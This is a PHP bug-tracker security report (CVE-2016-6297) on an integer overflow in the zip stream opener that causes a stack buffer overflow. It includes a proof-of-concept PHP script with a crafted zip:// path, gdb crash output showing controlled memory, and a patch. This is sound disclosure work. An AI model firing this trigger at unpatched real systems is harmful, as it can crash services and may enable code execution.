php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72520 Stack-based buffer overflow vulnerability in php_stream_zip_opener
Submitted: 2016-06-30 06:55 UTC Modified: 2016-07-25 15:21 UTC
From: loianhtuan at gmail dot com Assigned: stas (profile)
Status: Closed Package: Zip Related
PHP Version: 7.1Git-2016-06-30 (Git) OS:
Private report: No CVE-ID: 2016-6297
 [2016-06-30 06:55 UTC] loianhtuan at gmail dot com
Description:
------------
When open a zip stream, php_stream_zip_opener failed to check the path_len that is vulnerable to integer overflow, later it is used to calculate the length of memcpy, leads to buffer overflow and memory corruption.

<snippet ext/zip/zip_stream.c:289>
	fragment_len = strlen(fragment);

	if (fragment_len < 1) {
		return NULL;
	}
	path_len = strlen(path); //path_len can be negative
	if (path_len >= MAXPATHLEN || mode[0] != 'r') {
		return NULL;
	}

	memcpy(file_dirname, path, path_len - fragment_len); //(path_len - fragment_len) can be controlled
</snippet>

If php is compiled without stack cookie or attacker somehow leaked the stackcookie value then arbitrary code execution is possible.



Test script:
---------------
<?php
ini_set('memory_limit',-1);
$fragment_len = 0x7fffffff-1; //minus '#'
$overflow_len = 0x1050;
$fp = fopen('zip://'.str_repeat('B',$overflow_len).'#'.str_repeat('A',$fragment_len),'r');
?>

Expected result:
----------------
no crash

Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x4242424242424243 ('CBBBBBBB')
RBX: 0x1
RCX: 0x11c7260 --> 0x0
RDX: 0x2000 ('')
RSI: 0x2000 ('')
RDI: 0x4242424242424243 ('CBBBBBBB')
RBP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RSP: 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
RIP: 0x7a074d (<_hash_string+81>:       movzx  eax,BYTE PTR [rax])
R8 : 0x11c72e0 --> 0x0
R9 : 0x79 ('y')
R10: 0x7fffffff9740 --> 0x0
R11: 0x7ffff6df3101 (<__GI___libc_realloc+769>: xor    eax,0xfe92a)
R12: 0x424250 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe6c0 --> 0x2
R14: 0x7ffff6814030 --> 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:  push   rbp)

R15: 0x7ffff68802c0 --> 0x899d67 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>:     push   rbp)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7a0740 <_hash_string+68>:  mov    WORD PTR [rbp-0x2],ax
   0x7a0744 <_hash_string+72>:  add    QWORD PTR [rbp-0x18],0x1
   0x7a0749 <_hash_string+77>:  mov    rax,QWORD PTR [rbp-0x18]
=> 0x7a074d <_hash_string+81>:  movzx  eax,BYTE PTR [rax]
   0x7a0750 <_hash_string+84>:  test   al,al
   0x7a0752 <_hash_string+86>:  jne    0x7a0720 <_hash_string+36>
   0x7a0754 <_hash_string+88>:  movzx  eax,WORD PTR [rbp-0x2]
   0x7a0758 <_hash_string+92>:  pop    rbp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff99b0 --> 0x7fffffff99f0 --> 0x7fffffff9a40 --> 0x7fffffff9a70 --> 0x7fffffff9ab0 --> 0x7fffffffab60 ('B' <repeats 16 times>, "\001")
0008| 0x7fffffff99b8 --> 0x7a0aac (<_zip_hash_lookup+95>:       mov    WORD PTR [rbp-0xa],ax)
0016| 0x7fffffff99c0 --> 0x11c7260 --> 0x0
0024| 0x7fffffff99c8 --> 0x11c7250 --> 0x11c57a0 --> 0x0
0032| 0x7fffffff99d0 ("CBBBBBBB")
0040| 0x7fffffff99d8 --> 0x1117b00 --> 0x7ffff7122000 (MemError)
0048| 0x7fffffff99e0 --> 0x0
0056| 0x7fffffff99e8 --> 0x7fffffff9a90 ("CBBBBBBBPr\034\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000007a074d in _hash_string (
    name=0x4242424242424243 <error: Cannot access memory at address 0x4242424242424243>, size=0x2000)
    at /root/php-src/ext/zip/lib/zip_hash.c:113
113         while (*name != 0) {
gdb-peda$ q

==============================================================================
<<<< backtrace before memory corruption, break before memcpy  >>>>
299             memcpy(file_dirname, path, path_len - fragment_len);
gdb-peda$ list
294             path_len = strlen(path);
295             if (path_len >= MAXPATHLEN || mode[0] != 'r') {
296                     return NULL;
297             }
298
299             memcpy(file_dirname, path, path_len - fragment_len);
300             file_dirname[path_len - fragment_len] = '\0';
301
302             file_basename = php_basename(path, path_len - fragment_len, NULL, 0);
303             fragment++;
gdb-peda$ bt
#0  php_stream_zip_opener (wrapper=0x108e550 <php_stream_zip_wrapper>,
    path=0x7ffef620001e 'B' <repeats 200 times>..., mode=0x7ffff6858bd8 "r", options=0x0,
    opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x1,
    __zend_filename=0xd58a00 "/root/php-src/main/streams/streams.c", __zend_lineno=0x80e,
    __zend_orig_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_orig_lineno=0x366)
    at /root/php-src/ext/zip/zip_stream.c:299
#1  0x00000000007cc57f in _php_stream_open_wrapper_ex (
    path=0x7ffef6200018 "zip://", 'B' <repeats 194 times>..., mode=0x7ffff6858bd8 "r", options=0x8,
    opened_path=0x0, context=0x7ffff6858c40, __php_stream_call_depth=0x0,
    __zend_filename=0xd3a5b0 "/root/php-src/ext/standard/file.c", __zend_lineno=0x366,
    __zend_orig_filename=0x0, __zend_orig_lineno=0x0) at /root/php-src/main/streams/streams.c:2060
#2  0x000000000070f0d9 in php_if_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
    at /root/php-src/ext/standard/file.c:870
#3  0x00000000006564b9 in phar_fopen (execute_data=0x7ffff6814180, return_value=0x7ffff6814160)
    at /root/php-src/ext/phar/func_interceptors.c:427
#4  0x0000000000899df0 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER ()
    at /root/php-src/Zend/zend_vm_execute.h:679
#5  0x00000000008994fd in execute_ex (ex=0x7ffff6814030) at /root/php-src/Zend/zend_vm_execute.h:429
#6  0x000000000089960f in zend_execute (op_array=0x7ffff687f000, return_value=0x0)
    at /root/php-src/Zend/zend_vm_execute.h:474
#7  0x000000000083b72f in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3)
    at /root/php-src/Zend/zend.c:1441
#8  0x00000000007ac454 in php_execute_script (primary_file=0x7fffffffe310)
    at /root/php-src/main/main.c:2532
#9  0x00000000009158b6 in do_cli (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:990
#10 0x0000000000916875 in main (argc=0x2, argv=0x10bc9f0) at /root/php-src/sapi/cli/php_cli.c:1378
#11 0x00007ffff6d91f45 in __libc_start_main (main=0x9161e1 <main>, argc=0x2, argv=0x7fffffffe6c8,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6b8)
    at libc-start.c:287
#12 0x0000000000424279 in _start ()
gdb-peda$

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-30 06:57 UTC] loianhtuan at gmail dot com
Not sure if the proposed patch file is uploaded, so I'm pasting here:

diff --git a/ext/zip/zip_stream.c b/ext/zip/zip_stream.c
index 3d5b002..dea0152 100644
--- a/ext/zip/zip_stream.c
+++ b/ext/zip/zip_stream.c
@@ -123,11 +123,11 @@ static int php_zip_ops_stat(php_stream *stream, php_stream_statbuf *ssb) /* {{{
 {
        struct zip_stat sb;
        const char *path = stream->orig_path;
-       int path_len = strlen(stream->orig_path);
+       size_t path_len = strlen(stream->orig_path);
        char file_dirname[MAXPATHLEN];
        struct zip *za;
        char *fragment;
-       int fragment_len;
+       size_t fragment_len;
        int err;
        zend_string *file_basename;

@@ -263,7 +263,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper,
                                                                                        zend_string **opened_path,
                                                                                        php_stream_context *context STREAMS_DC)
 {
-       int path_len;
+       size_t path_len;

        zend_string *file_basename;
        char file_dirname[MAXPATHLEN];
@@ -271,7 +271,7 @@ php_stream *php_stream_zip_opener(php_stream_wrapper *wrapper,
        struct zip *za;
        struct zip_file *zf = NULL;
        char *fragment;
-       int fragment_len;
+       size_t fragment_len;
        int err;

        php_stream *stream = NULL;
 [2016-07-13 05:06 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-07-13 05:06 UTC] stas@php.net
Fix in security repo as 81406c0c1d45f75fcc7972ed974d2597abb0b9e9 and in https://gist.github.com/f4bc6912ba9c2144f83032ca769f7d2b
 [2016-07-14 02:31 UTC] loianhtuan at gmail dot com
Thanks Stas, can you request a CVE for me please?
 [2016-07-19 09:00 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 09:00 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-07-25 15:21 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6297
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 08:01:29 2024 UTC